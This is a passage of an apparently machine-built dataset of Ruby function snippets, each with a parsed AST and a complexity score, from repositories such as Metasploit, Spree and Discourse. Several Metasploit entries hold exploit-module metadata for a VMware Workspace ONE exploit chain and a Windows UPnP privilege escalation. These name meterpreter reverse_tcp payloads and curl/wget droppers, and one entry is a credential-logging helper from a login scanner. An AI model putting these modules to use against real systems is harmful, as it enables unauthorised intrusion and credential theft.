Rex::Socket.is_ipv6?(host)\n host = \"[#{host}]\"\n end\n\n if datastore['URIPORT'] && datastore['URIPORT'] != 0\n port = ':' + datastore['URIPORT'].to_s\n elsif (ssl and datastore[\"SRVPORT\"] == 443)\n port = ''\n elsif (!ssl and datastore[\"SRVPORT\"] == 80)\n port = ''\n else\n port = \":\" + datastore[\"SRVPORT\"].to_s\n end\n\n uri = proto + host + port + resource\n\n uri\n end","complexity_score":77.73,"ast_json":"{\"type\":\"def\",\"children\":[\"get_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cli\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ssl\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]}]},\"!\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"srvhost_addr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}","id":"95ad445a-6624-4bb5-b4e6-39ecda7a66c8"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":48,"raw_source":"def valid?(asset)\n asset.dig('exifInfo', 'latitude') &&\n asset.dig('exifInfo', 'longitude') &&\n asset.dig('exifInfo', 'dateTimeOriginal')\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asset\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"latitude\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"longitude\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"dateTimeOriginal\"]}]}]}]}","id":"4e23d7b0-e24c-4f99-8d4d-fb26fb7e2fd8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb","start_line":24,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',\n 'Description' => %q{\n This module combines two vulnerabilities in order achieve remote code execution in the context of the\n `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in\n OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the\n authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC\n injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker\n to deserialize arbitrary Java objects which can allow remote code execution.\n },\n 'Author' => [\n 'mr_me', # Discovery & PoC\n 'jheysel-r7' # Metasploit Module\n ],\n 'References' => [\n ['CVE', '2022-22956'],\n ['CVE', '2022-22957'],\n ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],\n ['URL', 'https://github.com/sourceincite/hekate/'],\n ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']\n ],\n 'DisclosureDate' => '2022-04-06',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X64],\n 'Type' => :linux_dropper,\n 'CmdStagerFlavor' => %i[curl wget],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'Payload' => {\n 'BadChars' => \"\\x22\"\n },\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true,\n 'LPORT' => 5555\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware Workspace ONE Access VMSA-2022-0011 exploit chain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module combines two vulnerabilities in order achieve remote code execution in the context of the\\n\"]},{\"type\":\"str\",\"children\":[\" `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in\\n\"]},{\"type\":\"str\",\"children\":[\" OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the\\n\"]},{\"type\":\"str\",\"children\":[\" authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC\\n\"]},{\"type\":\"str\",\"children\":[\" injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker\\n\"]},{\"type\":\"str\",\"children\":[\" to deserialize arbitrary Java objects which can allow remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mr_me\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-22956\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-22957\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/sourceincite/hekate/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/security/advisories/VMSA-2022-0011.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/python/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"curl\"]},{\"type\":\"sym\",\"children\":[\"wget\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"int\",\"children\":[5555]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]}]}","id":"a7b72954-13fd-4837-af69-49a0d41ec3f8"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order_updater.rb","start_line":131,"raw_source":"def update_shipment_state\n if order.backordered?\n order.shipment_state = 'backorder'\n else\n # get all the shipment states for this order\n shipment_states = shipments.states.uniq\n\n order.shipment_state = if shipment_states.size > 1\n if shipment_states.include?('shipped')\n 'partial'\n elsif shipment_states.include?('pending')\n 'pending'\n else\n 'ready'\n end\n else\n # will return nil if no shipments are found\n shipment_states.first\n # TODO: inventory unit states?\n # if order.shipment_state && order.inventory_units.where(shipment_id: nil).exists?\n # shipments exist but there are unassigned inventory units\n # order.shipment_state = 'partial'\n # end\n end\n end\n\n order.state_changed('shipment')\n order.shipment_state\n end","complexity_score":28.45,"ast_json":"{\"type\":\"def\",\"children\":[\"update_shipment_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"backordered?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state=\",{\"type\":\"str\",\"children\":[\"backorder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shipment_states\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"states\"]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"include?\",{\"type\":\"str\",\"children\":[\"shipped\"]}]},{\"type\":\"str\",\"children\":[\"partial\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"include?\",{\"type\":\"str\",\"children\":[\"pending\"]}]},{\"type\":\"str\",\"children\":[\"pending\"]},{\"type\":\"str\",\"children\":[\"ready\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment_states\"]},\"first\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"state_changed\",{\"type\":\"str\",\"children\":[\"shipment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"shipment_state\"]}]}]}","id":"bfef9d5e-4860-496c-9faf-550b5e05328d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":86,"raw_source":"def attributes\n super.tap do |data|\n data[:removed_topic_id] = object.topic_id unless object.topic\n\n if object.target.present?\n # Automatically add the target id as a \"good name\" for example a target_type of `User`\n # becomes `user_id`\n data[:\"#{object.target_type.downcase}_id\"] = object.target_id\n end\n\n if self.class._payload_for_serialization.present?\n data[:payload] = (object.payload || {}).slice(*self.class._payload_for_serialization)\n end\n end\n end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"removed_topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_type\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_payload_for_serialization\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"payload\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_payload_for_serialization\"]}]}]}]},null]}]}]}]}","id":"981c6930-0e0b-4226-b81f-bb66a4ebbc70"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb","start_line":92,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n last_attempted_at: Time.now,\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"b255b28f-0519-4821-8649-13f375919d74"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/comahawk.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',\n 'Description' => %q{\n This exploit uses two vulnerabilities to execute a command as an elevated user.\n The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to\n NT AUTHORITY\\LOCAL SERVICE\n The second (CVE-2019-1322) leverages the Update Orchestrator Service to\n elevate from NT AUTHORITY\\LOCAL SERVICE to NT AUTHORITY\\SYSTEM.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)\n 'hoangprod', # PoC\n 'bwatters-r7' # msf module\n ],\n 'Platform' => ['win'],\n 'SessionTypes' => ['meterpreter'],\n 'Targets' => [\n ['Windows x64', { 'Arch' => ARCH_X64 }]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2019-11-12',\n 'References' => [\n ['CVE', '2019-1322'],\n ['CVE', '2019-1405'],\n ['EDB', '47684'],\n ['URL', 'https://github.com/apt69/COMahawk'],\n ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],\n ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']\n ],\n 'DefaultOptions' => {\n 'DisablePayloadHandler' => false\n },\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_sys_config_getenv\n ]\n }\n },\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options([\n 